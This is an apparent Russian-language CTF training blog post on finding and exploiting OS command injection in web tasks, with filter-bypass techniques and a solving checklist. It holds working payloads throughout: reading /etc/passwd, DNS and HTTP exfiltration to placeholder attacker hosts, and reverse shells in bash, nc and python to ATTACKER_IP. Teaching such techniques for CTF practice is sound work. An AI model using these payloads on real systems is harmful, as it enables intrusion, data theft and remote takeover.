Главная / Блог / Command Injection в CTF: поиск и эксплуатация

11 мин.00

Command Injection в CTF: поиск и эксплуатация

Command Injection в CTF: поиск и эксплуатация

На позапрошлом CTF в категории web попалась задача уровня medium: форма «Ping Service», одно поле для IP-адреса, кнопка Check. Отправил 127.0.0.1 — стандартный вывод ping. Вбил 127.0.0.1; id — пусто, точку с запятой съел фильтр. 127.0.0.1 | id — тишина. Переключился на $(id) — и среди строк пинга проскочил uid=33(www-data). Двенадцать попыток, три минуты. От подтверждения инъекции до чтения флага — ещё четыре запроса в Burp Repeater.

Вот этот зазор между «знаю что такое command injection» и «стабильно эксплуатирую за минуты» — он и определяет, заберёт ли команда очки. Разберём методику поиска и эксплуатации OS command injection в CTF-задачах — от первых тестов до reverse shell через фильтры.

Механика OS command injection: что ломаем и зачем

Command injection (CWE-78, Improper Neutralization of Special Elements used in an OS Command) — ситуация, когда приложение конструирует системную команду из пользовательского ввода без нейтрализации спецсимволов. По классификации CWE это дочерний тип CWE-77 (Command Injection) и CWE-74 (Injection), а через отношение CanAlsoBe связан с CWE-88 (Argument Injection) — когда та же уязвимость проявляется не вставкой новой команды, а подменой аргументов существующей. В OWASP Top 10 (2021) command injection входит в категорию A03 — Injection: «An application is vulnerable to injection when user-supplied data is not validated, filtered, or sanitized». Подробнее — в нашем материале про создание ctf заданий.

В CTF command injection — почти всегда веб-приложение, которое дёргает системную утилиту. Бэкенд берёт ввод пользователя и подставляет его в строку для system(), exec(), shell_exec(), os.popen(), subprocess.run() с shell=True или child_process.exec(). По MITRE ATT&CK это техника Exploit Public-Facing Application (T1190, Initial Access), а исполнение команд — Unix Shell (T1059.004, для Linux/macOS) или Windows Command Shell (T1059.003) в тактике Execution.

Классический пример уязвимого PHP-кода из курса HTB Academy:

<?php
if (isset($_GET['filename'])) {
    system("touch /tmp/" . $_GET['filename'] . ".pdf");
}
?>

Параметр filename подставляется в команду touch без экранирования. Значение test; cat /etc/passwd превращает команду в touch /tmp/test; cat /etc/passwd.pdf — исполняются обе.

Различие CWE-78 и CWE-88 критично для CTF. Если приложение использует escapeshellcmd() в PHP, оно может быть защищено от вставки новых команд, но остаётся уязвимым к argument injection. Пример из OWASP Command Injection Defense Cheat Sheet: system("curl " . escapeshellcmd($payload)) с payload dummy.txt -exec id ; при использовании с find позволяет исполнить id через аргумент -exec. На CTF, если фильтр экранирует разделители — проверяйте argument injection через -exec в find, --output в curl или --config в различных утилитах. Многие на этом месте сдаются, а зря.

Зачем это за пределами CTF

CVE-2019-25224: уязвимость в плагине WP Database Backup для WordPress (версии до 5.2). Через функцию mysqldump неаутентифицированный атакующий мог исполнять произвольные команды. CVSS 9.8 (CRITICAL), вектор CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H — сетевой доступ, низкая сложность, никаких привилегий. EPSS 0.2142 (97-й перцентиль — топ-3% по вероятности реальной эксплуатации). По данным CISA Vulnrichment, уязвимость автоматизируема (Automatable: yes) с полным техническим импактом (Technical Impact: total). Паттерн один в один — пользовательский ввод в системной команде без санитизации. То, что на CTF — задачка на очки, в продакшене — RCE с одного запроса.

Распознавание уязвимых эндпоинтов в веб-задачах CTF

Типичные точки входа

Уязвимый функционал в CTF замаскирован под полезную утилиту. На что смотреть:

  • Сетевые утилиты — ping, nslookup, traceroute, whois. Поле для IP или домена
  • Файловые операции — конвертация форматов (PDF, изображения через ImageMagick/convert), генерация хешей (md5sum), архивация (tar, zip)
  • Системная информация — проверка диска, uptime, список процессов
  • Текстовая обработка — grep по логам, сортировка данных, поиск по файлам

Из write-up RSM (EN-5): задача предлагала ввести строку для получения MD5-хеша. Трейлинг-дефис (-) после хеша выдал, что на бэкенде крутится утилита md5sum с пайпом от echo. Автор восстановил структуру команды (echo <input> | md5sum) и подобрал payload test; ls; для выполнения произвольной команды между echo и md5sum.

Обращайте внимание на артефакты: 64 bytes from → ping, дефис после hex-строки → md5sum, JPEG-заголовки → convert/ImageMagick. Эти мелочи — как отпечатки пальцев системной утилиты.

Разделители команд — первая разведка

Перед сборкой сложных payload'ов нужно выяснить, какие разделители не фильтруются. На обеих ОС работают: &, &&, |, ||. Только для Unix: ;, перевод строки (%0a). Inline-подстановка: `cmd` и $(cmd).

Методика перебора:

  1. Отправьте валидный ввод, зафиксируйте нормальный ответ
  2. Для каждого разделителя подставьте безобидную команду-маркер: 127.0.0.1; echo XCANARYX, 127.0.0.1 | echo XCANARYX, 127.0.0.1 $(echo XCANARYX), 127.0.0.1 `echo XCANARYX`
  3. Ищите маркер XCANARYX в ответе — нашли, разделитель работает
  4. Нет вывода — переходите к time-based (раздел ниже)

Нюанс, на котором спотыкаются даже опытные игроки (из write-up к PortSwigger Labs, EN-4): в теле POST-запроса & нужно URL-кодировать как %26, иначе сервер интерпретирует его как разделитель параметров формы. Пробел — %20 или +, точка с запятой — %3b. Итоговый payload & echo test & в POST-запросе выглядит как host=%26%20echo%20test%20%26. Burp Suite кодирует автоматически в Repeater, но при работе с curl — кодируйте руками.

Эксплуатация прямой command injection

Пошаговый разбор: от обнаружения до флага

Задача: форма «Host check», POST на /api/ping, параметр host=127.0.0.1. Ответ — стандартный ping.

Шаг 1: подтверждение. В Burp Repeater отправляем host=127.0.0.1%3b+id (точка с запятой + id). Видим uid=33(www-data) — инъекция подтверждена.

Шаг 2: разведка. Последовательность команд после подтверждения: - ls / → структура файловой системы (T1083, File and Directory Discovery) - cat /etc/passwd → учётные записи (T1552.001, Credentials In Files) - uname -a → версия ядра (T1082, System Information Discovery) - find / -name "flag*" 2>/dev/null → поиск файла с флагом - env | grep -i flag → проверка переменных окружения (часто флаг именно там)

Шаг 3: чтение флага. Когда файл найден — host=127.0.0.1%3b+cat+/home/ctf/flag.txt. Всего 4-6 запросов в Burp.

Не бросайтесь сразу к cat /flag.txt. В CTF флаг лежит в /root/, /opt/, /home/user/, в базе данных, в переменной окружения или вообще доступен только через интерактивную программу. Сначала разведка — потом чтение.

Blind command injection: когда вывода нет

Blind-варианты встречаются чаще прямых — разработчики редко выводят stdout системных вызовов в HTTP-ответ. Пример: форма обратной связи, где введённый email попадает в команду mail — результат не возвращается клиенту. И вот тут начинается интересное.

Time-based детекция

Payload & ping -c 10 127.0.0.1 & вызовет задержку ~10 секунд. Если время ответа стабильно пропорционально количеству пакетов — инъекция подтверждена. Альтернатива: & sleep 5 &. Для Windows: ping -n 10 127.0.0.1 (флаг -n вместо -c).

Из write-up EN-4 — показательный момент: автор обнаружил, что для срабатывания задержки пришлось подставить & sleep 10 & одновременно в параметры email и subject — только один параметр не давал задержку. Мораль: перебирайте все поля формы, не только очевидные.

Редирект вывода и OOB-эксфильтрация

Запись в webroot. Если приложение отдаёт статические файлы из /var/www/images/ или /var/www/static/, перенаправьте вывод в файл: & whoami > /var/www/images/output.txt &. Затем запросите GET /images/output.txt. В write-up EN-4 автор использовал & whoami > /var/www/images/bubba & (полностью URL-закодированный как %26%20whoami%20%3E%20%2fvar%2fwww%2fimages%2fbubba%20%26) и получил username через запрос изображения. Просто и элегантно.

DNS-эксфильтрация. Когда записать файл нельзя (read-only filesystem): & nslookup `whoami`.your-server.com & — результат whoami станет поддоменом в DNS-запросе. На своём сервере перехватите его через tcpdump -i eth0 port 53 или используйте interactsh от ProjectDiscovery.

HTTP-канал. & curl http://your-server:8080/`id` & — результат команды придёт в URL-путь запроса к вашему listener'у (python3 -m http.server 8080). Примечание: curl здесь используется для OOB-эксфильтрации данных (передача вывода команды через HTTP-запрос) — в GTFOBins curl задокументирован для download/upload/file-read/file-write/library-load, но не для reverse shell.

Типичный OOB-payload по YesWeHack (EN-1): curl "$(uname).attacker.com:9999" — hostname жертвы передаётся через DNS/HTTP на контролируемый сервер.

Обход фильтров command injection в CTF

Задачи уровня medium и hard всегда содержат фильтры. Тут проверяется не знание payload'ов, а умение анализировать — что именно блокируется и как это обойти.

Блеклисты команд и символов

Если фильтр блокирует конкретные команды по точному совпадению строки:

Альтернативные команды. Вместо cathead, tail, less, more, tac, nl, xxd, base64. Вместо lsdir, find . -maxdepth 1, echo *. Вместо idwhoami, groups. Это первая линия обхода, и на удивление часто её хватает.

Обфускация кавычками и бэкслешами. Bash игнорирует одинарные и двойные кавычки внутри имени команды: w'h'o'am'i, w"h"o"am"i, \w\h\o\a\m\i — все три эквивалентны whoami. Фильтр с проверкой по точному совпадению их пропустит.

Конкатенация через переменные. a=who;b=ami;$a$b — bash собирает команду из частей. Фильтр не видит whoami как целую строку.

Base64. echo d2hvYW1p | base64 -d | bash — декодирует и исполняет. Утилита base64 есть почти на всех Linux-системах.

Реверс строки. $(rev<<<'imaohw') — переворачивает в whoami.

Обход фильтрации пробелов и ANSI-C нотация

Если фильтр блокирует пробелы (0x20): - ${IFS} — Internal Field Separator: cat${IFS}/etc/passwd - Brace expansion: {cat,/etc/passwd} — bash раскроет в cat /etc/passwd - Табуляция %09 — URL-кодированный tab вместо пробела - Перенаправление ввода: cat</etc/passwd — оператор < не требует пробела

ANSI-C нотация — один из самых мощных приёмов, и про него мало кто помнит на соревнованиях. Описан в write-up к YesWeHack Dojo CTF #36 (RU-2): фильтр PreProd_Sanitize пропускал ввод без букв (re.search(r'[a-zA-Z_*^@%+=:,./-]', s) is None), но экранировал любой алфавитный символ. Автор использовал $'...'-синтаксис с восьмеричными escape-последовательностями. ls записывается как $'\154\163' — bash интерпретирует \154 как l и \163 как s. Работает в bash и zsh. В ash (BusyBox, Alpine Linux) поддержка $'...' зависит от сборки — нужен флаг CONFIG_ASH_BASH_COMPAT, который включён не во всех образах. Проверяйте эмпирически.

В том же write-up автор сначала обошёл авторизацию через SQL LIKE с payload %a% в параметре token — оператор % в LIKE работает как wildcard, совпадая с любой строкой. Это вернуло запись пользователя dev из базы и переключило приложение на уязвимую функцию санитизации. Двухступенчатая атака: broken access control + command injection для получения RCE. Красиво.

Hex-кодирование. bash<<<$(xxd -r -p<<<776861616d69) — аналогичный подход для обхода текстовых фильтров. Утилита xxd (из пакета vim) декодирует hex-строку в бинарные данные.

Wildcard'ы. Если фильтр блокирует конкретные пути: /???/??t /??c/p??s?? эквивалентно /bin/cat /etc/passwd. Вопросительный знак заменяет один произвольный символ. Выглядит как абракадабра, а работает.

Reverse shell через command injection

Получение reverse shell — финальный этап эксплуатации, когда простого чтения файлов недостаточно (флаг доступен через интерактивную программу или требует повышения привилегий для T1005, Data from Local System).

# bash — самый распространённый вариант
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

# netcat без -e — обходим через mkfifo
# В Debian/Ubuntu обычно стоит netcat-openbsd (без -e),
# в Alpine — busybox nc (тоже без -e). Проверяйте nc -h
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f

# python3 — когда нет ни bash, ни nc
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("IP",4444));[os.dup2(s.fileno(),f) for f in(0,1,2)];pty.spawn("/bin/sh")'

На стороне атакующего — listener: nc -lvnp 4444. После подключения — полноценный shell для разведки.

Нюансы для CTF-окружений: в минимальных Docker-контейнерах часто нет ни nc, ни curl. Python обычно присутствует. Через command injection весь payload нужно URL-кодировать — Burp Suite сделает это автоматически. Некоторые CTF-платформы блокируют исходящие соединения — тогда reverse shell не сработает, и придётся использовать запись в файл или OOB через DNS (через nslookup). После получения shell'а — find / -perm -4000 2>/dev/null (SUID-бинарники для privesc, техника T1505.003).

Инструменты и порядок действий для CTF

Commix — заточен под автоматическое обнаружение и эксплуатацию command injection. Поддерживает classic, blind (time-based) и file-based техники. Для быстрой проверки: commix --url="http://target/ping" --data="host=127.0.0.1". Не заменяет ручную работу, но экономит время на перебор разделителей.

Burp Suite Intruder — загрузите список payload'ов из PayloadsAllTheThings (раздел Command Injection) и прогоните все разделители за один прогон. В Repeater удобно отлаживать конкретные payload'ы.

PayloadsAllTheThings — open-source репозиторий с категоризированными payload'ами. Раздел Command Injection/README.md содержит разделители, обходы фильтров, reverse shell'ы с разделением по ОС. Держите его открытым во второй вкладке — пригодится.

Чеклист на задачу:

  1. Определите точку входа — форма, GET/POST-параметр, заголовок, cookie
  2. Зафиксируйте нормальный ответ (baseline)
  3. Переберите разделители: ;, |, ||, &, &&, $(cmd), `cmd`, %0a
  4. Нет вывода? Time-based — sleep 5 или ping -c 5 127.0.0.1
  5. Есть вывод — разведка: id, ls /, find / -name "flag*" 2>/dev/null, env
  6. Фильтр? Определите, что блокируется — команды, пробелы, спецсимволы, буквы
  7. Подберите обход — кавычки, $IFS, base64, ANSI-C, wildcard'ы
  8. Нужен shell? Reverse shell через bash/nc/python
  9. Читайте флаг — cat, head, base64 /path/to/flag

Половина CTF-задач на command injection решается на шаге 3. Другая половина — на шаге 7, где проверяется не знание payload'ов, а умение препарировать фильтр и подобрать обход.

Типичная ошибка, которую вижу на соревнованиях раз за разом: игроки видят форму с ping и сразу лезут в SQLi, потому что «injection = SQL injection». OS command injection — другой класс уязвимостей. Главный индикатор — поведение, похожее на вывод системной утилиты, а не на ответ базы данных. Если ответ содержит PING 127.0.0.1 (127.0.0.1): 56 data bytes или Name: example.com Address: 93.184.216.34 — это системная команда, и первым делом тестируйте разделители, а не ' OR 1=1--.

Второй промах — фокус на одном разделителе. Попробовали ; — не сработало — перешли к другой задаче. А нужно было попробовать |, $(cmd), обратные кавычки, %0a. Каждый фильтр ловит конкретные символы, и почти всегда один из вариантов проходит. На WAPT эту методику отрабатывают системно — два модуля с лабами на каждый тип обхода, от базовых разделителей до ANSI-C и double encoding.

🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».

Поделиться

0 комментариев

Пожалуйста, войдите, чтобы оставить комментарий.

Загрузка комментариев...

Читайте также

Стеганография для начинающих: чек-лист CTF

9 мин.

5

Стеганография для начинающих: чек-лист CTF

Пошаговый чек-лист разбора стего-тасков на CTF: от file и strings до LSB-анализа. Команды binwalk, steghide, zsteg, exiftool с реальными примерами.

14 СЕНТЯБРЬ, 2026

SSRF уязвимость в CTF: обход фильтров на практике

13 мин.

5

SSRF уязвимость в CTF: обход фильтров на практике

Обход blacklist и whitelist фильтров SSRF, gopher-протокол до RCE, кража облачных токенов и blind SSRF — с конкретными пейлоадами для CTF-задач

14 СЕНТЯБРЬ, 2026

Burp Suite для начинающих: настройка и перехват

13 мин.

8

Burp Suite для начинающих: настройка и перехват

Пошаговая настройка Burp Suite Community: прокси, сертификат, FoxyProxy. Перехват и модификация HTTP на реальной CTF-задаче с разбором каждого шага.

13 СЕНТЯБРЬ, 2026